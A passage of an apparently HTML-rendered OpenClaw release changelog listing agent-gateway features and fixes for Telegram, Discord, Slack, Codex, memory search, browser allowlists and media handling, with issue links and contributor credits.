<li>Gateway/config: expose config lookup reload metadata so tools can distinguish restart-required, hot-reloadable, and no-op fields before applying config edits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4438060145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81409/hovercard" href="https://github.com/openclaw/openclaw/issues/81409">#81409</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442609432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81612" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81612/hovercard" href="https://github.com/openclaw/openclaw/pull/81612">#81612</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Telegram: add allowlisted native DM draft previews for transient tool progress while keeping final answers on the normal persistent delivery path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469802375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83622" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83622/hovercard" href="https://github.com/openclaw/openclaw/pull/83622">#83622</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akrimm702/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akrimm702">@akrimm702</a>.</li>
<li>QA-Lab: add a personal-agent share-safe diagnostics artifact scenario so support handoffs keep useful status while omitting raw personal content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Memory/search: scan the JS-side fallback vector path (used when the sqlite-vec index is unavailable or has a mismatched dimension) in bounded rowid batches and yield to the event loop between batches so large chunk tables can no longer pin the Node.js main thread for multi-second windows. Also keeps the SQL prepared statement rooted in a local so node:sqlite cannot finalize it mid-scan under heap pressure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432718295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81172" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81172/hovercard" href="https://github.com/openclaw/openclaw/issues/81172">#81172</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dev23xyz-oss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dev23xyz-oss">@dev23xyz-oss</a>.</li>
<li>CLI/update: bypass npm freshness filters consistently during managed package and plugin installs so freshly published release plugins remain installable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Agents/subagents: keep collect-mode announce queues batching unresolved-origin items with compatible same-route messages and resume collection after a true cross-channel drain when a later compatible batch remains. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468716265" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83577/hovercard" href="https://github.com/openclaw/openclaw/issues/83577">#83577</a>.</li>
<li>Providers/Anthropic: preserve native image input for current Claude model rows when stale local catalog data marks them text-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472508905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83756" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83756/hovercard" href="https://github.com/openclaw/openclaw/pull/83756">#83756</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Control UI: render live tool progress from session-scoped <code>session.tool</code> Gateway events so externally started runs show their tool cards in the active session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471865132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83734" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83734/hovercard" href="https://github.com/openclaw/openclaw/pull/83734">#83734</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Outbound: resolve send-capable channel plugins from the active runtime registry when the pinned startup registry only has setup metadata. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471864947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83733/hovercard" href="https://github.com/openclaw/openclaw/pull/83733">#83733</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Browser: enforce current-tab URL allowlist checks for <code>/act</code> evaluate/batch actions and <code>/highlight</code> routes while leaving tab-management actions unblocked. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392533668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78523" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78523/hovercard" href="https://github.com/openclaw/openclaw/pull/78523">#78523</a>)</li>
<li>CI: require real-behavior-proof verdict markers to come from the ClawSweeper GitHub App before accepting exact-head proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470892805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83692/hovercard" href="https://github.com/openclaw/openclaw/pull/83692">#83692</a>)</li>
<li>Models: show the effective OpenAI/Codex auth profile in <code>/models</code> provider headers instead of falling back to the OpenAI env-key label. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470946100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83697/hovercard" href="https://github.com/openclaw/openclaw/pull/83697">#83697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yu-xin-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yu-xin-c">@yu-xin-c</a>.</li>
<li>Browser: keep a profile <code>cdpPort</code> when its <code>cdpUrl</code> omits a port, while still letting explicitly written URL ports win. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454473920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82166" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82166/hovercard" href="https://github.com/openclaw/openclaw/pull/82166">#82166</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Agents/image generation: allow distinct <code>image_generate</code> prompts to start separate session-backed background tasks while same-prompt retries still return the active task status. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469561038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83614/hovercard" href="https://github.com/openclaw/openclaw/pull/83614">#83614</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Elarwei001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Elarwei001">@Elarwei001</a>.</li>
<li>Gateway/WebChat: honor configured <code>channels.webchat.textChunkLimit</code> and <code>chunkMode</code> overrides when chunking WebChat replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471165614" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83713" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83713/hovercard" href="https://github.com/openclaw/openclaw/pull/83713">#83713</a>)</li>
<li>Control UI: stop the chat reading indicator from sticking after an assistant response finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467410605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83515" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83515/hovercard" href="https://github.com/openclaw/openclaw/pull/83515">#83515</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Skills: reject empty or whitespace-only skill names and descriptions during quick validation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992930563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/27061" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/27061/hovercard" href="https://github.com/openclaw/openclaw/pull/27061">#27061</a>)</li>
<li>Sessions: skip trailing custom transcript entries when checking tail assistant replies so embedded CLI gap-fill does not duplicate canonical assistant output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469910900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83635" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83635/hovercard" href="https://github.com/openclaw/openclaw/pull/83635">#83635</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaoyi1222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaoyi1222">@yaoyi1222</a>.</li>
<li>Memory Wiki: keep <code>wiki_lint</code> tool output path-safe by reporting vault-internal lint reports as relative paths in tool text and details while preserving absolute report paths for CLI/file callers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466350048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83439" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83439/hovercard" href="https://github.com/openclaw/openclaw/pull/83439">#83439</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Telegram: keep verbose tool progress visible without mirroring non-final progress into active session transcripts, preventing embedded provider replies from aborting mid-run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469858032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83631/hovercard" href="https://github.com/openclaw/openclaw/pull/83631">#83631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Telegram: log successful outbound text and media deliveries with account, chat, message, operation, thread, reply, silent, and chunk metadata while keeping message bodies out of logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464232340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83196/hovercard" href="https://github.com/openclaw/openclaw/issues/83196">#83196</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464712841" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83247" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83247/hovercard" href="https://github.com/openclaw/openclaw/pull/83247">#83247</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jrwrest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jrwrest">@jrwrest</a>.</li>
<li>Cron: link isolated scheduled task runs to their stable cron session so task status and cleanup can follow the backing agent run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469405023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83606" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83606/hovercard" href="https://github.com/openclaw/openclaw/pull/83606">#83606</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jai">@jai</a>.</li>
<li>CLI: enforce the documented Node.js 22.19 runtime floor in the source launcher.</li>
<li>Release stability: repair broad-gate regressions in requester-agent completion handoff, QA-Lab mock spawn attribution, Slack monitor test isolation, plugin uninstall peer fixtures, and Node-floor launcher contract coverage.</li>
<li>Agents/replies: persist queued follow-up user messages and assistant error stubs only once across model-fallback retries, preventing repeated provider rejections from corrupted same-role session transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465972914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83404/hovercard" href="https://github.com/openclaw/openclaw/issues/83404">#83404</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466078721" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83417/hovercard" href="https://github.com/openclaw/openclaw/pull/83417">#83417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Slack: persist delivered inbound message IDs and fail closed when same-channel thread replies lose their thread context, preventing delayed duplicate replies and accidental channel-root posts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467465571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83521" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83521/hovercard" href="https://github.com/openclaw/openclaw/issues/83521">#83521</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannon0430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannon0430">@shannon0430</a>.</li>
<li>Codex app-server: complete OpenClaw dynamic tool diagnostics at the request boundary so successful, failed, timed out, aborted, and blocked tool calls do not leave active tool state behind. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466827129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83474" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83474/hovercard" href="https://github.com/openclaw/openclaw/issues/83474">#83474</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rozmiarD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rozmiarD">@rozmiarD</a>.</li>
<li>Gateway/config: keep config writes from failing on unrelated unresolved auth-profile SecretRefs while preserving live auth-profile runtime snapshots.</li>
<li>Gateway/sessions: clear stored CLI provider resume bindings on non-subagent <code>/reset</code> so the next turn starts a fresh provider-side CLI conversation instead of resuming old context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466450765" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83448/hovercard" href="https://github.com/openclaw/openclaw/pull/83448">#83448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jasonyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jasonyliu">@jasonyliu</a>.</li>
<li>Doctor: preserve legacy whole-agent Claude CLI intent by moving matching Anthropic model selections to model-scoped runtime policy before removing stale runtime pins. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467068699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83491/hovercard" href="https://github.com/openclaw/openclaw/issues/83491">#83491</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielcrick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielcrick">@danielcrick</a>.</li>
<li>Discord/OpenAI: keep realtime Discord voice sessions hearing follow-up turns with OpenAI realtime and prebuffer assistant playback to avoid choppy starts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417674952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80505/hovercard" href="https://github.com/openclaw/openclaw/pull/80505">#80505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>LM Studio: resolve env-template API keys like <code>${LMSTUDIO_API_KEY}</code> through the standard SecretInput path instead of sending the raw template as the bearer token, and preserve header-auth and discovery-key precedence when the template is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417527708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80495" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80495/hovercard" href="https://github.com/openclaw/openclaw/issues/80495">#80495</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4418547191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80568/hovercard" href="https://github.com/openclaw/openclaw/pull/80568">#80568</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a>.</li>
<li>Discord/subagents: route the initial reply from thread-bound delegated sessions into the bound Discord thread instead of the parent channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464042454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83170/hovercard" href="https://github.com/openclaw/openclaw/issues/83170">#83170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464046468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83172" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83172/hovercard" href="https://github.com/openclaw/openclaw/pull/83172">#83172</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: rotate failed agent sessions when their transcript file is missing instead of wedging per-channel lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467000680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83488" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83488/hovercard" href="https://github.com/openclaw/openclaw/issues/83488">#83488</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468120214" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83553/hovercard" href="https://github.com/openclaw/openclaw/pull/83553">#83553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Media: prevent image metadata probing from invoking external decoder delegates on unrecognized image bytes, and stop fallback chaining after real processing errors.</li>
<li>Media: install Sharp with the root package and fall back to sips, Windows native imaging, ImageMagick, GraphicsMagick, or ffmpeg for image resizing/conversion when Sharp is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465939099" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83401" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83401/hovercard" href="https://github.com/openclaw/openclaw/issues/83401">#83401</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Telegram: deliver generated media completions back into forum topics by preserving topic IDs across requester-agent handoff. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468244035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83556" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83556/hovercard" href="https://github.com/openclaw/openclaw/pull/83556">#83556</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: defer update-check startup until after readiness so package update checks no longer block sidecar-ready startup, while preserving update broadcasts and shutdown cleanup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467462415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83520" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83520/hovercard" href="https://github.com/openclaw/openclaw/pull/83520">#83520</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Telegram: keep <code>/btw</code> and read-only status commands from aborting active runs, and avoid retaining raw update payloads in timed-out spool tombstones. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464995305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83272/hovercard" href="https://github.com/openclaw/openclaw/issues/83272">#83272</a>.</li>
<li>Agents: log strict-agentic execution contract diagnostics only when the planning-only retry path actually triggers.</li>
<li>Agents: stop embedded session takeover and session write-lock errors from consuming model fallbacks while preserving provider fallback metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467367566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83510" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83510/hovercard" href="https://github.com/openclaw/openclaw/issues/83510">#83510</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>.</li>
<li>Agents/video: hide <code>video_generate</code> reference-audio parameters unless a registered video provider supports audio inputs.</li>
<li>Plugins: fall back to npm for official ClawHub updates when artifact downloads are unavailable, including beta-to-default fallback and dry-run version reporting.</li>
<li>Plugins/xAI: echo PKCE challenge fields during OAuth authorization-code token exchange for xAI token-endpoint compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467208552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83499/hovercard" href="https://github.com/openclaw/openclaw/pull/83499">#83499</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: hydrate current inbound image attachments before queued runs so Responses-backed agents receive Discord and other channel images as native vision input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466691440" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83466" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83466/hovercard" href="https://github.com/openclaw/openclaw/issues/83466">#83466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iannwu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iannwu">@iannwu</a>.</li>
<li>Codex app-server: keep native code mode available without forcing code-mode-only so OpenClaw dynamic tool turns complete through the app-server tool bridge. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463653395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83109" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83109/hovercard" href="https://github.com/openclaw/openclaw/issues/83109">#83109</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daswass/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daswass">@daswass</a>.</li>
<li>Release stability: recover stale session diagnostics and Codex OAuth fallback state so stuck runs and reused refresh tokens clear without blocking follow-up work. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467223870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83503" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83503/hovercard" href="https://github.com/openclaw/openclaw/pull/83503">#83503</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Messages/TTS: apply TTS directives before message-tool sends reach core, gateway, or plugin delivery so opt-in message-tool rooms and proactive sends attach voice notes instead of leaking raw tags. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442404677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81598" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81598/hovercard" href="https://github.com/openclaw/openclaw/issues/81598">#81598</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CG-Intelligence-Agent-Jack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CG-Intelligence-Agent-Jack">@CG-Intelligence-Agent-Jack</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CoronovirusG10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CoronovirusG10">@CoronovirusG10</a>.</li>
<li>Messages/Codex: keep Codex direct/source chats on message-tool visible delivery by default while documenting and testing <code>messages.visibleReplies: "automatic"</code> as the old-mode opt-out; channel wildcard model overrides now apply to direct chats before harness delivery defaults.</li>
<li>Memory/QMD: keep archived session transcript hits visible after QMD export while preserving normal <code>.md</code> session ids that only resemble archive names. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467447669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83518/hovercard" href="https://github.com/openclaw/openclaw/pull/83518">#83518</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467252934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83506/hovercard" href="https://github.com/openclaw/openclaw/issues/83506">#83506</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>Codex app-server: preserve network access for sandboxed Codex code-mode turns when the OpenClaw sandbox allows outbound egress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83347/hovercard" href="https://github.com/openclaw/openclaw/issues/83347">#83347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YusukeIt0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YusukeIt0">@YusukeIt0</a>.</li>
<li>QA-Lab: keep the OTLP smoke decoder independent of removed OpenTelemetry generated-root internals.</li>
<li>Messages: default group/channel visible replies to automatic final delivery again, keeping <code>message_tool</code> opt-in for ambient/shared rooms and tool-reliable models.</li>
